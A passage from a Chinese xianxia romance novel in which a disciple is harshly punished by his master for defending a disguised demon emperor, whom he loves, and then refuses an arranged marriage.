玄陵道:“这妖女在玄清域为非作歹,残害无辜百姓,死在她手上的人不计其数,丧尽天良令人发指,这就是你所说的从未伤害任何一个人族?” 只一眼,苏见清就能认出这上面的人并非蕴禾。 阿蕴姑娘虽然有些小脾气,但从不会滥杀无辜。想起观沧海的那只玉妖,他急声解释,“师尊,这并非阿蕴姑娘,而是一只玉妖。弟子在观沧海时,她就曾听从后饶的命令,化为阿蕴姑娘的模样,意图迷惑弟子。” “后饶死后,这玉妖不知所踪,定是她继续顶着阿蕴姑娘的脸作恶。且这段时日,阿蕴姑娘日日皆与我在一处,不可能有时间去明城作恶。” 苏见清深深伏跪,白皙指尖沾上血渍,“还请师尊明鉴。” “混账东西!” 噬魂鞭在苏见清后背留下一道深可见骨的伤痕,他全身肌肉绷紧,咬牙忍受。 玄陵一连甩了五六鞭,握着鞭子的手攥紧,气到冷笑,“日日与之相处?本尊看,你是被那妖女迷了心智!” “本尊且问你,你既说那妖女并非玉妖,那你说说,她的原形是什么?” 苏见清十指收紧,“弟子不知。” “好,好,好一个不知!” 玄陵再度甩下一鞭,嗓音冷沉,“你既不知,如何能确保那妖女并非玉妖?” 苏见清眼前发昏,低声道:“与我同行的巫道友可确保。” “巫道友?流风的亲子?” “是。” “啪——” 噬魂鞭落在身上,皮肉绽开,剧烈的疼痛从识海传出,仿佛千万把匕首钻进脑海深处,同时刺下。 苏见清浑身一颤,忍住嘴边痛吟。 玄陵面无表情,“又是一个被妖族妖女蛊惑的人修,你们二人沆瀣一气,他作保又如何?何人能信?” “你身为本尊首席大弟子,受妖女蛊惑,以下犯上,不敬师长,今日本尊罚你,你可知罪?” 典淮终究还是忍不住了,张嘴劝道:“师兄,见清那一剑根本就没伤到我,‘不敬师长’之名还是算了吧。” 玄陵冷呵,“他敢为了一个妖女对你出剑,明日就敢对本尊拔剑,未来就敢背叛生他养他的伏渊!” “今日这顿刑罚,只是为了让他长个教训。” 玄陵低眸,冰冷威严的嗓音传遍整座大殿,“苏见清,你说,你该不该罚?” 苏见清闭眼,微弱的嗓音从唇齿间泄出来。 “该。” “很好。” 玄陵扬鞭,“这一鞭,罚你不敬师叔。” “这一鞭,罚你与妖为伍。” “这一鞭,罚你睁大眼睛看看清楚,那些因妖女枉死的百姓!” 一鞭又一鞭落下,苏见清的后背已是血肉模糊,不见一块好皮。 褚潇潇捂唇,眼泪从眼眶内涌出,“师兄……” 齐岱不忍再看,紧紧攥住方若望的袖子,无声道:仙尊师伯也太狠了吧?怎么办,就这么让苏师弟受罚? 方若望眉头紧皱,双唇紧抿。 齐岱叹了口气,几次想出声求情,可都咽了回去。 他心生后悔。 早知如此,不如不把苏师弟带回来。 最后一鞭落下,玄陵收起噬魂鞭,冷声道:“苏见清,记住你的身份。” 浑身是血的苏见清慢慢叩头,勉强跪起,低弱的嗓音里是颤抖的疼痛。 “弟子……谨记。” 他一直记得,年幼时,他跪在祖师爷的画像前,听师尊说起他的身世。 他说,这些年来,魔族一直试图侵占人族领地,越来越多的魔修潜入玄清域肆意虐杀百姓和修士,吞噬他们的血肉增强修为。 他说,钟峦山的天机道人曾预言,人魔两族迟早有一场大战,人族有九成的可能会败。 而他苏见清,便是剩下的那一缕生机。 他是天道赐予人族的希望,是天降命主,是玄清域的救世主。 因此,当天机道人算到他降生的地点时,多年不出山的玄陵仙尊亲自下山,将尚在襁褓中的苏见清抱回伏渊,悉心教养。 他身上承载着整个玄清域的未来,是人族对抗魔族的底牌,是击杀魔尊弼隰的,最利的那柄神兵。 师尊会不惜一切代价,将他培养成未来的玄清域,甚至是修真界第一人。 为此,师尊放任了师妹的陷害排挤,令他孤身在青竹峰上度过多年。 从不过问他这一路的艰辛痛苦,看不见他身上的伤,流下的泪。对他内心的荒芜置之不理。 他想将他打造成高高在上,伶仃孑立,无情又博爱,独属于伏渊、玄清域的—— 神。 这一路,苏见清已走了一半。 他丢弃天真,父母兄弟、朋友,如今,连那道闯入他无趣世界里的鲜活身影,也要被抹去了。 眼眶酸涩,唯有他自己能听见的啪嗒声响融入鲜血中,不见踪迹。 玄陵侧身,冷漠道:“将他带回去,若无本尊召令,不准他踏出青竹峰一步。” “师兄!” 褚潇潇哭着冲上来。 苏见清勉强睁眼,眼前少女的面容模糊又遥远。 他有些不明白,师妹既然厌恶他,为何这个时候又露出担忧的表情? “苏师弟!” 齐岱和方若望齐齐上前。 两人一左一右架住他胳膊,把苏见清从地上搀扶起,“没事吧?我和方师兄带你回去。” 苏见清想对两人笑着说没事,却是连动嘴角的力气都没了。 眼前阵阵发昏,他浑身发冷,突如其来的一股困意将他困住。 恍惚中,他瞧见面前有道熟悉的身影。 蕴禾站在他面前,双手环胸,表情高傲不屑,“我让你别回来你偏要回,这下好了,挨罚了吧?” 阿蕴姑娘…… 苏见清艰难抬起手。 啪嗒—— 血珠从手上滴落,砸在地面,化为一朵血花。 姑娘的身影忽然变淡,下身变为星星点点绿色荧光,那张生动俏丽的脸颊也逐渐消失。 苏见清一急,“阿……” 眼前一黑,他彻底没了知觉。 “师兄!” “苏师弟!” 玄陵立在殿内,冷眼看着三名弟子将苏见清带走。 剑气从殿外消失,他蓦地道:“请合欢宗宗主带圣女前来一叙。” 典淮收回担忧的目光,正要往外走,忽然听到这一句,不解道:“师兄请合欢宗的人来作甚?” 为何还特意强调带圣女? 难不成是上次与那圣女见面时说了什么? 玄陵并未答复,转身时身影消失在殿内,唯余淡淡回音。 “你只管照做就是。” …… “砰——” “砰砰——” 声音从山洞里传出来,听得扒住洞口往里看的炎灵豹紧张不已。 姑奶奶诶,它好不容易才让小弟把这洞府给修好了,千万别再给它弄塌了! 山洞里忽然传来细微的动静,好像有什么东西滚了出来。 炎灵豹低头。 这一眼,它恨不得立马晕过去。 它的炎晶石!没了!居然就这么碎了! 炎灵豹双眼泛泪,爪子下意识在山壁上抓,石屑刷拉拉掉落一堆。 蕴禾走出山洞,瞥见地上一滩晶亮,冷冷嘲讽,“瞧你那没出息的样,一些不值钱的晶石而已,竟也让你如此心疼?” 炎灵豹小声呜咽。 蕴禾从储物手链里拿出一物丢给它,“本皇随手得来的小东西,赏你了。” 一颗金光灿烂的晶石落在掌心,炎灵豹瞠目结舌,眼里闪烁着震惊欣喜。 活了这么多年,它从未见过这么大的炎晶石髓! 有了它,它晋升化神、修成人形有望了! 炎灵豹霍然转身,原地已没了蕴禾的身影。 它趴地跪拜,低声吼叫。 多谢妖皇陛下。 云端上,蕴禾冷眼看着炎灵豹的动作。 难得遇到一只生出灵智,极大可能变为妖修的妖兽,她当然要帮它一把。 那些伏渊的混蛋不是骂她妖女吗? 若不落实了这事,岂不是白被人骂? 一个臭规矩那么多的狗屁宗门,苏见清为何如此维护,偏生要回去? 想到苏见清,蕴禾脸色越发难看。 不知好歹的东西,回去被打死算了! 等等,不行! 他要是被打死,她岂不是要跟着一起殉情? 蕴禾脸色阴沉。 该死的同生咒,千万别让她知道这东西是谁研究出来,又是谁用在她和苏见清身上的。 独自气闷一阵,蕴禾心里终是担忧,犹豫半天,还是往伏渊的方向飞了去。 走到一半,一道青光朝她飞来。 蕴禾伸手,青色小鸟落入掌中。 一道虚影浮现,女子清丽面容映入眼中,恭敬道:“见过陛下。” 蕴禾皱眉,“何事?” “陛下命属下搜寻的荒山,今日有了发现。” 蕴禾一顿,“什么发现?” 清淼道:“一枚玉简。但以属下的修为,竟无法将之打开。” 蕴禾意外,清淼的修为堪比人修的化神巅峰,连她也无法打开,难不成是同生咒? 清淼又道:“除此之外,属下还有另外发现。” 青色眼睛看向蕴禾,凝重道:“陛下,您需回一趟妖域了。” 第74章 女声担忧问:“苏师兄都睡了这么多日,怎么还不醒?” 男声道:“他之前本就受了伤,又被仙尊重罚,如今元气大伤,自然睡得沉、睡得久些。” “可是苏师兄都睡了两三日了。” “这……方师弟,那药当真有效吗?” “我之前受伤时才用过。” 另一道女声插进来,“你们都让开些,让云团看看苏师弟,他们许久不见,定是想念的。” 云团? 苏见清长睫一颤,缓缓睁眼。 成佩兰惊喜道:“醒了醒了,苏师兄醒了!” “苏师弟,你感觉怎么样?” 眼前陡然闯入好几个脑袋,苏见清勉强将人看清,一一唤道:“齐师兄、方师兄、胥师姐、成师妹。” 齐岱嗨呀一声,“你伤还没好呢,先别说话。” 苏见清坐起身,缓了片刻,轻声道:“皮肉伤已经大好了,我无碍的。” “皮肉伤虽然好了,但这儿……” 齐岱指指脑袋,打了个哆嗦,“可还疼着呢。你快躺着好好养养。” 苏见清心中生暖,“齐师兄放心,我真的无碍。” “胥师姐,成师妹,这是我带给你们的谢礼,多谢你们这段时日帮我照顾云团。” 芥子囊一闪,地面多了堆龙牙晶和两盆灵草。 成佩兰皱眉,“苏师兄,照顾云团是我和胥师姐自愿的,哪能让你破费。” 胥绿真惊讶,“这么多龙牙晶,怕是把苏师弟的灵石都用完了吧?” 苏见清轻轻勾唇,“胥师姐放心,这些龙牙晶没花一分钱,全是阿蕴姑娘弄来……” 话音戛然而止。 苏见清与妖修结伴而行一事在伏渊传得沸沸扬扬,又有方若望和齐岱这两个知情人在,胥绿真自然知道这位阿蕴姑娘是谁。 她将龙牙晶收下,笑道:“那便多谢苏师弟和阿蕴姑娘了。” 憔悴眉宇仿佛照进一束光,苏见清眼睛微亮。 见状,成佩兰也收起灵草,弯唇笑道:“多谢苏师兄。” 苏见清笑笑,“我的伤已经没事了,诸位就先回吧。我正在禁足中,往后……还是少往青竹峰来罢。” 齐岱拧眉,刚要说什么,方若望一把将他拉住,轻轻摇头。 他叹气,“那好吧。苏师弟,等你养好了伤,我们再来探望。” 苏见清抿唇。 四人一同往外而去,成佩兰的抱怨声依稀传入耳中。 “仙尊也真是的,妖族怎么了?又不是魔族,怎么就不能来往了?人家妖修偏安一隅,不闹事不外出,安安生生待在自己家里,仙尊怎么一见面就对他们要打要杀的,还因为苏师兄和妖修有来往,就把他打成这个模样?” 齐岱小声劝道:“少说几句吧。” 成佩兰不依,“我就说,就说,难不成仙尊还时时刻刻监视着苏师兄的青竹峰,听到这话要来罚我不成?” 齐岱伸手把她的嘴捂住,紧张道:“姑奶奶诶,我求你别说了。” 成佩兰:“呜呜,你呜呜放开……” 声音逐渐远去,苏见清在床上呆怔坐了很久,慢慢将视线挪到一旁坐在地上靠着竹墙的食铁兽身上。 扯起唇角,他轻声道:“云团,这么久不见,你可有想我?快过来让我看看。” 食铁兽埋头扯花玩,并不搭理他。 苏见清从芥子囊内取出一样东西,“这是我在观沧海为你做的,你不喜欢吗?” 食铁兽依旧不抬头。 苏见清失望,呆呆低头。 掌心躺着一只用石头做的活灵活现的食铁兽,他安静凝视许久,喃喃道:“阿蕴姑娘也很喜欢的。” 阿蕴姑娘……她现在怎么样了?回妖域了吗? 苏见清望向门外,清澈眸光里浮现点点哀伤。 …… 妖域。 三座大山合围中,一座宫殿拔地而起。 翠竹环绕,溪水潺潺,宫殿整体以金黑二色为主,檐上凶兽怒目而张,殿内青竹摇曳,时见高大巍峨的食铁兽正在张嘴咆哮,煞气腾腾。黑青二色的宝石点缀在门窗上,华美中夹带肃穆威严。 大殿之上站着一人。 长袍曳地,青色翎羽闪烁七彩光芒,乌发中掺一缕白,头顶金冠,十二条玉旒垂落,与青光湛湛的长袍交叠。 她安静站在殿内,背影不可一世,又沉稳庄严。 脚步声自殿外响起,一名女子走了上来。 青衣在玉石打造的地面迤逦而行,女子生了张清丽面容,眸色清冷坚毅,行至殿内,恭敬见礼,“清淼见过陛下。” 蕴禾缓缓转过身来,“如何?” 清淼神色惭愧,“属下无能,至今未能查出那些无名花的来处。” 殿内无风,窗户却忽地被一道劲风吹开。 五瓣小花迎风而立,花色青翠欲滴,周身有绿色灵蕴流转。分明是清新纯净的颜色,此刻在蕴禾眼中却显得诡异。 如此眼熟。 当初她可不就是因为这花,才妖力尽失,无法变回人形,只能以原形出现在苏见清面前? 蕴禾寒着脸,“可验出来了?” 清淼道:“此花确能使妖修化为人形,短时间内无法动用妖力。不过……” 她顿了顿,“对食铁兽而言,这花的药力要比别的妖修大些,恢复的时辰也更久。” “好,好!” 蕴禾气笑了,“原是冲着本皇来的。” 她霍然伸手,凭空一握,窗边小花霎时碎成齑粉。殿内狂风大作,将窗户吹得乒乓作响,殿外院内,无数朵小花在瞬时间灰飞烟灭。 清淼跪地,“陛下息怒。” 蕴禾闭了闭眼。 无人知晓,当她赶到那荒山,瞧见一山的无名花时心中充斥的愤怒。 本以为当初之事只是巧合,可没想到,竟然有妖暗中与魔勾结,意图弑君夺位。 看来是她这些年脾气太好,才让有些不自量力的妖生出野心妄念。 “查,给本皇查清楚!待查出幕后之人,本皇亲自取他狗命。” “是,属下这就命一卫去查。” 清淼的身影消失在殿内,蕴禾身形一闪,转瞬间已出现在某地。 她现身的刹那,兽吼声如雷鸣,铺天盖地朝她冲来,滚滚热浪舔舐长袍,似要将她的身影燃烧殆尽。 蕴禾冷冷一笑,“今日本皇心情不好,正好拿你们撒撒气。” 语罢,她霍然冲向火海。 …… 妖域的夜比玄清域较冷。 圆月高悬夜空,浅浅紫晕落在掌心,仿佛连肌肤都染上紫光。 一道影子伴着月光而来,将披风搭在蕴禾身上,“陛下方才从火狱出来,怎么不去歇歇?” 蕴禾立在山巅,望着三山之外的璀璨灯火,“本皇没那么娇弱。” “你说,要是那些妖王知道妖皇还负责镇压火狱,封印数千恶妖,还会不会想要这个位置?” 清淼点头,语气认真,“会的。妖皇之位何等尊贵,就算知道,他们也会不惜一切代价,成为妖族至尊。” 蕴禾嘲讽一笑,“一天天吃饱了没事干就知道做白日梦。想抢本皇的东西?下辈子吧。” 清淼嘴角微扬。 从她遇见陛下起,她一直都是这般狂妄不可一世,可当她见到她的第一面,就知这个看起来美丽无害的姑娘,一定能成为妖族皇者。 她是最适合统御这片领域的妖。 清淼目光微转,凝视万千灯火,眼前仿佛浮现夜灯璀璨,百姓面带笑容赏花灯、看烟火,无忧无虑的一幕。 “陛下往日不是嫌弃吵闹?怎么今日倒看这么久?” 蕴禾:“忽然觉得,这一幕也挺有意思的。” 她仰望天边明月,纳闷道:“你说,这都是同一个月亮,咱们妖域的为何与玄清域的差别那么大?” 清淼问:“有何差别?” “大了去了,玄清域的月亮,可没有我们妖域的紫光。” 清淼视线下移落在蕴禾脸上,忽然道:“陛下这次回来之后,好像变了很多。” “是吗?” 蕴禾摸摸脸,“本皇怎么不觉得?” 清淼认真道:“眼里好似总含着忧虑,陛下在担心谁?” 蕴禾摇头否认,“谁担心了?本皇才不会担心一个傻子!” 话音一落,清淼很轻地笑了声。 蕴禾脸上挂不住,故作怒容,“好啊,你现在都会嘲笑本皇了。” 清淼嘴角轻轻上扬,猜测道:“是因为那个叫苏见清的人修?陛下就是因为他才去了玄清域。” 蕴禾与清淼相识多年,说是从属,其实更像是朋友,也没什么好隐瞒的,丧着脸道:“是啊,本皇看上了苏见清,可惜他蠢,宁愿回去受罚也不愿与本皇回妖域。” 她忿忿不平,“那伏渊有什么好的?除了一座山峰,就是一个只知道惩罚他的玄陵,这次回去,他还指不定怎么受罚呢?” 听蕴禾说完事情的起因经过,清淼道:“陛下很喜欢他?” 蕴禾一顿。 她说不上来对苏见清的感情有多深,但此时的她的确还挺喜欢他的。加之同生咒的存在,令蕴禾无论如何也不能放下他。 清淼忖度着蕴禾的脸色,提议道:“陛下既然担心他,不如去玄清域将他抢回来。” 蕴禾:“啊?” 清淼微微勾唇,“带着青鸾十六卫,上伏渊,当着那玄陵和伏渊所有弟子的面,将我们的妖后抢回来。” 管他乐不乐意,先抢回来再说。 何况陛下都被骂妖女了,若是不把这罪名坐实,岂不是亏大了? 第75章 晨光倾斜而下,苏见清结束修炼。起身的刹那,识海内密密麻麻的疼痛在瞬间袭来。 他身影滞了一瞬,片刻后恢复寻常。 受了这么多次噬魂鞭,苏见清对识海的痛已经分外熟悉。 他步履平稳地去到隔壁,没看见云团的身影,推开门往外走。 “云团,你去哪儿了?” 食铁兽并无回应,但好在苏见清眼神好,已经看见了躺在竹林入口,抱着竹子在啃的云团。 他没给它弄吃的,也不知那竹子是它自己弄断的,还是之前胥师姐和成师妹留下的。 苏见清走过去,苍白面容浮现一抹笑,轻轻抚摸食铁兽毛茸茸的脑袋,“对不起啊云团,把你丢在青竹峰这么久。” 食铁兽认认真真啃吃怀里嫩竹,连个眼神都没给他。 苏见清低声问:“真不理我了?” “咔嚓咔嚓。” 竹子被食铁兽尖锐牙齿撕开的声音。 苏见清只好起身去厨房。 他多日不在,厨房内空空荡荡的,除了锅碗再无其他。 将手放在芥子囊上,苏见清庆幸,还好他习惯随身备一些食物,否则阿蕴姑娘想吃的时候…… 剑修一顿,捏着芥子囊的手发紧。 他尽量不再去想那道身影,拿出食材沉默处理。 做完后,苏见清望着案上成品一怔。 他又下意识做了阿蕴姑娘喜欢的糕点。 不过…… 望向草坪上胖乎乎的身影,苏见清记得,这些云团也挺喜欢吃的。 阿蕴姑娘和云团的口味倒是挺相似。 苏见清垂睫,拿起桃花糕咬一口。 好甜呐。 他端起糕点,回到食铁兽身边,拿了块递给它,“云团想吃吗?” 食铁兽头也不抬,哼哧哼哧吃自己的。 苏见清眉心一皱。 云团这是生他的气了? “你最喜欢的糕点,云团不喜欢了?” 食铁兽还是不搭理他。 苏见清叹气,“对不起,我不该把你丢在青竹峰上。” 食铁兽带着一身竹屑就地一躺,眼睛闭上,美美睡着。 苏见清微怔。 云团这么爱干净,怎么能忍受身上放着竹屑? 这是真生气了,在和他闹别扭? 苏见清想不通。 他伸手,一点点细致地捻去食铁兽身上的竹叶竹屑,抬手一挥,一堆竹叶从竹林中飞来,连成一片挡在食铁兽上空,为它遮去阳光。 看来是真生气了。 苏见清安静凝视食铁兽的睡颜,将糕点放在原地,起身回屋修炼。 他身上的伤势已经痊愈,唯有识海时时刻刻都在疼痛。但上次被罚后,他略有感悟,这次正好尝试,借此时机锻炼识海。 修炼时并不能感受时光流逝,等苏见清再度睁眼,已是第二日。 他走出竹屋去看云团的情况,食铁兽尚未醒,趴着身子呼呼大睡,那碟糕点离它极远,竟是一口没动。 就算是和他闹脾气,怎么连最喜欢的糕点都不吃了? 苏见清不解。 放了一夜的糕点沾了露,外层变软,模样也没那么好看了。 苏见清把它处理了,又去厨房重新做一份。除*了糕点,还有云团喜欢的烤鱼。 端着东西出来时,食铁兽抱着脑袋在地上打滚。 它仿佛觉得这是件极为好玩的事,嘴角带笑,乐此不疲地滚来滚去。 苏见清把食物就地放下,盯着食铁兽拧眉。 不对劲,云团很不对劲。 它如今的行为,为何那么像灵智全无,所有行动都依托本能的刚出生的小食铁兽? 苏见清极为不解,内心担忧。 云团可是病了? 可它活蹦乱跳的,着实不像生了病。 苏见清盯了云团整整一日,看不出半分端倪。 黄昏时,他精神疲惫,忍不住闭眼小憩了片刻。 醒来时手背传来异样的触感,苏见清心头一动,偏头看去。 云团躺在他身侧,睁着眼睛望着他,黑眼珠里带着并不明显的担忧。 苏见清缓缓坐起,伸手去摸食铁兽的脑袋,笑道:“别担心,我只是睡着了。” 食铁兽拍开他的手,侧过脑袋,单手放在脑后看向天空,翘着的腿晃晃悠悠。 如此熟悉的神态令苏见清一滞。 方才那一幕,他竟然以为自己见到了阿蕴姑娘。 一个荒谬的猜想在他心底深处浮现,又被苏见清狠狠压下去。 怎么可能? 云团怎么可能是阿蕴姑娘? 她们一个是他从祁锡山带回来的,一个是他在枫泠城所遇,这二者怎么可能会有关联? 何况,以阿蕴姑娘高傲的性子,绝不可能变为原形留在他身边。 想清楚后,苏见清说不出心里是什么感受,空落落的,仿佛有些怅然若失。 他勉强对食铁兽牵唇,“云团,糕点再不吃,明日就不好吃了。我回屋修炼,你也别在外面待太久,记得回屋里睡。” 话落,苏见清站起,快步进屋。 身后,蕴禾盯着他的背影。 脸色这么白,玄陵那混蛋这次究竟下了多大的手? 活该,谁让他不听她的? 抬手一招,糕点与烤鱼一同飞至蕴禾面前,她抓起一个桃花糕放进嘴里。 放了一日,味道不如刚出锅的好。而且这糕点的味道怎么这么淡? 将糕点和烤鱼吃得干干净净,蕴禾闪身进入竹屋。 竹床上的苏见清盘腿坐着,双眼紧闭正在冥想。 蕴禾在苏见清对面席地而坐,单手托腮看他。 看着看着,她想起清淼。 也不知道他们现在怎么样。 半个时辰前。 伏渊山下。 一群妖修大摇大摆进入定安城。 青鸾十六卫是清淼亲自训练出来的妖皇亲卫,修为高深不说,又对蕴禾极其忠诚。他们时刻铭记统领的话,此行乃是替陛下夺回妖后,因此无论对玄清域有多好奇,皆是目不斜视,只等闯入伏渊,一举成事。 但最前面的陛下却忽然停住了。 蕴禾清了清嗓子,对清淼和她身后的青鸾卫道:“你们先在山下等着,等本皇诏令。我先去山上探探情况。” 清淼:“陛下,还是让属下去吧。” “不用。” 蕴禾摆手,“本皇对伏渊熟悉,还是我去吧,你们先留在此处。” 清淼眉心微动,恭敬道:“是。” 留下清淼等人,蕴禾踏空而行,堂而皇之穿过伏渊山门。 她也不知道怎么了,听完清淼的话居然可耻地心动了,当即召集青鸾十六卫,带着他们和清淼穿过妖域与玄清域的交界处,浩浩荡荡地一路往伏渊来。 算了,蕴禾安慰自己,反正她也不可能放得下苏见清,来就来吧。 此时此刻,看着苏见清的模样,蕴禾庆幸自己来了。 “小古板。” 蕴禾嘟囔,“一个师尊罢了,又不是你爹,有什么不能忤逆的?” 她小的时候,脾气上来连她爹都敢打呢。 想到此处,蕴禾微怔。 这还是她第一次如此坦然地想起自己的父亲。 想起那个粗鲁又粗犷,但对她百依百顺、万般疼爱的男人,蕴禾闭了闭眼。 她回到属于云团的竹屋,化为原形躺上去。 …… 苏见清醒来照例去找云团的踪迹。 视线落在空了的盘子上,他往后看去。 下一瞬,庞大的身躯从竹屋里慢悠悠走出。 蕴禾打了个哈欠,十分坦然对上苏见清的目光,眼睛里明晃晃的,不错,就是我吃的。 苏见清失笑,“还想不想吃?” 蕴禾无语,怎么受了伤还要操心这么多。 不过她十分诚实地点了头。 苏见清弯唇,“好,那你等我一会儿,马上就来。” 蕴禾跟着他走进厨房,看着他站在灶台后忙碌,眼睛微弯,眸底夹带浅淡笑意。 下厨对苏见清来说早已是轻车熟路,不到一个时辰就蒸出一锅糕点包子。 刚把东西盛出来,青竹峰外忽然飞来一道身影,“苏师兄,苏师兄!” 苏见清走出厨房,礼貌问道:“师弟有事?” 小弟子御剑落地,“仙尊和掌门请苏师兄去趟沉霄峰。” 视线从走出厨房的蕴禾身上掠过,心道苏师兄整日就与这食铁兽待在一处,怪不得下一次山就能与妖修为伍。 苏见清自然不知他在想什么,闻言应了声好。 刚要唤出长虹,身后骤然传来一股阻力。 蕴禾坐在地上,一手拉住苏见清的衣摆,不让他离开。 玄陵那老东西对他如此薄待,这冷不丁的要他去,保准没好事。 苏见清握住蕴禾毛茸茸的爪子,轻声问:“怎么了?” 别去。 蕴禾说不出这两个字,但眼里透出了这个意思。 苏见清安抚道:“没事的,师尊或许只是传我去问问话,你别担心。” 蕴禾还是不松手,不屑地抬起脑袋,看得苏见清又是一阵恍惚。 这副神情……真的像极了阿蕴姑娘。 难不成是他魔怔了?如今看什么都像她? 一人一兽僵持住,看着对方谁也不松手。小弟子看不下去了,出声道:“苏师兄,方才沉霄峰有客来,仙尊应是让你去见客的。” “有客?”苏见清问:“什么客?” 小弟子耸肩,“那二人施了法术看不清面容,我也不知。” 苏见清:“多谢。” 他如此有礼,小弟子双颊发烫,面上怠慢散去些许,“苏师兄,咱们快走吧,仙尊和掌门还在候着。” “好。” 苏见清拍拍蕴禾手背,低声道:“听到了,只是让我去见客。放心,不会有事的。” 蕴禾这才不情不愿松开爪子。 希望当真如你所说。 第76章 苏见清跟随小弟子上了沉霄峰。 殿门大开,隐约可见玄陵白色袍角。他低眉顺眼进去,站在殿中恭声道:“见过师尊,掌门师叔。” “真的是你!” 华丽娇媚的女声惊喜道。 苏见清拧眉,视线转向一侧,对上一双妩媚含情的狐狸眼。 容荌桃娇声道:“多日不见,你的伤势如何了?” 苏见清:“你是?” 容荌桃笑容一僵,“你不记得我了?” 苏见清疑惑,“我该记得?” “见清,不可无礼。” 典淮出声,“这是合欢宗的荌桃圣女。” 他看向对面,又道:“这位是合欢宗容宗主。” 苏见清侧目。 那是名姿容极盛的女子,她与容荌桃生得有几分相似,比起容荌桃浮于面上的妩媚多情,她的姿势与神情端庄不已,仿佛从古画中走出来的仕女。 然而那双狐狸眼却似旋涡,稍不注意便会被吸进去。 苏见清礼貌收回视线,见礼道:“见过容宗主,容圣女。” 合欢宗宗主容燕颔首,转向上首的玄陵,声音比她女儿还要柔两分,“我许久不出宗门,消息一放出去,许多老朋友陆陆续续来相见,导致路上耽搁了多日,还望仙尊莫要见怪。” 玄陵俊美侧脸一派平静,语气平平,“不会。” 容燕也不失落,嘴角笑意盎然,“不知仙尊因何事请我伏渊一叙,还特地让我带上桃儿?” 玄陵目光落在同样好奇的容荌桃身上。 这还是她第一次见到名满玄清域的玄陵仙尊,没想到竟如此俊美,面上隐隐泛起红意,含着羞涩大胆直视他。 玄陵眼底厌恶飞快流转,无人可察。 他忽地又看向苏见清,声音响遍大殿,在每人耳畔回荡。 “本尊座下大弟子苏见清,年纪轻轻已臻元婴,相貌堂堂,已被选定为本尊的继承人,容宗主觉得,他与贵宗圣女可相配?” 苏见清霍然抬首,不可置信。 他没想到,师尊竟然打的这个主意! 典淮也惊了。 怪道要请合欢宗宗主与圣女前来相见,师兄他,他是想让见清和合欢宗联姻? 可为什么啊! 合欢宗的人,师兄不是向来不喜吗? 容燕和容荌桃也惊住了。 前者阖上因震惊微微张开的双唇,拧眉道:“仙尊是想,让桃儿和您的弟子结为道侣?” “不错。” 玄陵颔首。 苏见清这个年纪,少年慕艾也算正常,与其让他被妖族妖女蛊惑,倒不如给他寻个道侣,彻底熄灭他的心思。 他这弟子责任感强,若是成了婚,无论喜不喜欢,都不会再生出二心。 余光瞄过容荌桃,玄陵神色冷淡。 合欢宗的双修功法极为邪性,能提高双方修炼者的修为,倘若苏见清与容荌桃双修,晋升化神指日可待。 玄陵高坐上首,平淡的神色暗含威严,“不知容宗主意下如何?” 容荌桃暗自焦急地看向自己娘亲。 她是对苏见清有点意思,可那不代表她就愿意和他结为道侣。 要她为了一棵树放弃一整片森林,那怎么可能? 玄清域生得好看的男修那么多,她是吃饱了撑的才会把自己绑在一个人身上。 见容燕迟迟不开口,容荌桃急了。刚要出声,忽然有道声音掷地有声。 “我不愿意。” 玄陵瞬间沉下脸,“你说什么?” 苏见清面上满是坚毅,无畏抬头,“师尊,我不愿意。” “我对容圣女无意,不愿与之结为道侣。何况……” 他微顿,认真道:“我早有意中人,哪怕此生与她无法相守,我也只会倾慕她一人。” 容燕悄悄舒了口气。 玄陵仙尊的弟子不愿,总好过她们拒婚得罪伏渊。 要她们合欢宗的女修成婚,这不是扯淡吗? 典淮急了,急忙提醒,“见清,少说两句!” “你让他说!” 玄陵面色铁青。 苏见清抿了抿唇,跪在殿内,语气坚定,“师尊,阿蕴姑娘绝非玉妖,更不会滥杀无辜。弟子知道师尊对她的身份心存芥蒂,弟子可以发誓,此生不再踏出伏渊一步,终身镇守伏渊,惟请师尊撤回追杀她的命令。” 玄陵勃然大怒,“苏见清!你知不知道你在说什么?!” 苏见清抬首,直视玄陵的眼睛,“知道。” 那双清冷凤眼里的倔强坚毅如此熟悉,当初,她也是这般跪在他面前,请求他成全他们。 一声声情真意切的剖白仿佛利刃划过他的心脏,瞬间将他刺得遍体鳞伤。 恍然间,耳畔又响起了她的声音。 “哥哥!” 一时间,玄陵心神震荡,头痛欲裂。 眼底泛起血丝,他倏地抬首,声声齿冷,“你要包庇一个妖女?” “师尊,那些事真的不是阿蕴姑娘做的。” 玄陵提步,拾级而下,一步步走到苏见清面前。 “你对一个妖女生了情?” 苏见清抿唇,“是。” 在他面前站定,玄陵神色冰冷,“倘若,本尊一定要你与合欢宗圣女成婚呢?” 苏见清抬首看他,骤然伏地叩首,艰难道:“师尊,请恕弟子不孝。” 殿内寂静。 典淮震惊地看向苏见清,斥道:“见清,把这话收回去!难道你当真想为了一个妖女叛出师门?” 苏见清嗓音微哑,“师叔,弟子哪怕是死也不会背叛伏渊,只是,弟子绝不会迎娶容圣女。” “不必多言。” 玄陵冷冷看了苏见清一眼,拂袖转身,“传本尊令,苏见清忤逆不孝,包庇妖女,背弃祖训,以门规处置。本尊要当着伏渊众位长老弟子的面,亲自施刑,以儆效尤。” 典淮大惊,“师兄!见清他只是一时受了蒙蔽,何至于此!他还有伤在身,受不住的!” 苏见清哑声,“弟子遵命。” …… 青竹峰上。 蕴禾百无聊赖地在草坪上打滚。 苏见清去了怎么久,怎么还不回来? 玄陵那老东西究竟要他去见什么客人? 唉。 蕴禾长长叹了口气。 等苏见清回来,她就打晕他带回妖域算了。 这念头刚落定,蕴禾忽然一顿,望向沉霄峰的方向。 高空之上乌云聚拢,云层中隐有雷光闪现,威压从沉霄峰蔓延至整座伏渊山。 蕴禾脸色骤然变得格外难看。 她爪子一挥,一道灵光飞往定安城。下一瞬,她化为人形,急急往沉霄峰飞去。 沉霄峰。 半空中,诸位长老束手而立。峰上,数名弟子抬着脸,齐齐望向跪在阵中的那道身影。 成佩兰的眼里已经涌出泪,她紧紧抓住胥绿真的手,哽咽道:“不能再继续了,苏师兄受不住的。” “齐岱,你快想想办法啊!” 齐岱紧紧拧着眉,面上焦躁与担忧齐现,“我我我,我能有什么办法?” 他下意识去看方若望。 方若望摇头,叹气道:“连我师尊都没法子,我又有什么用?” 玄陵边上,典淮垂首不语,放在膝盖上的手紧紧攥住。 齐岱心生绝望。 “苏师弟他,唉……” 人群中,容荌桃拉住娘亲的手,小声道:“娘,这位玄陵仙尊一直这么冷酷无情吗?” 容燕同样小声,“从我认识他开始就是如此。” 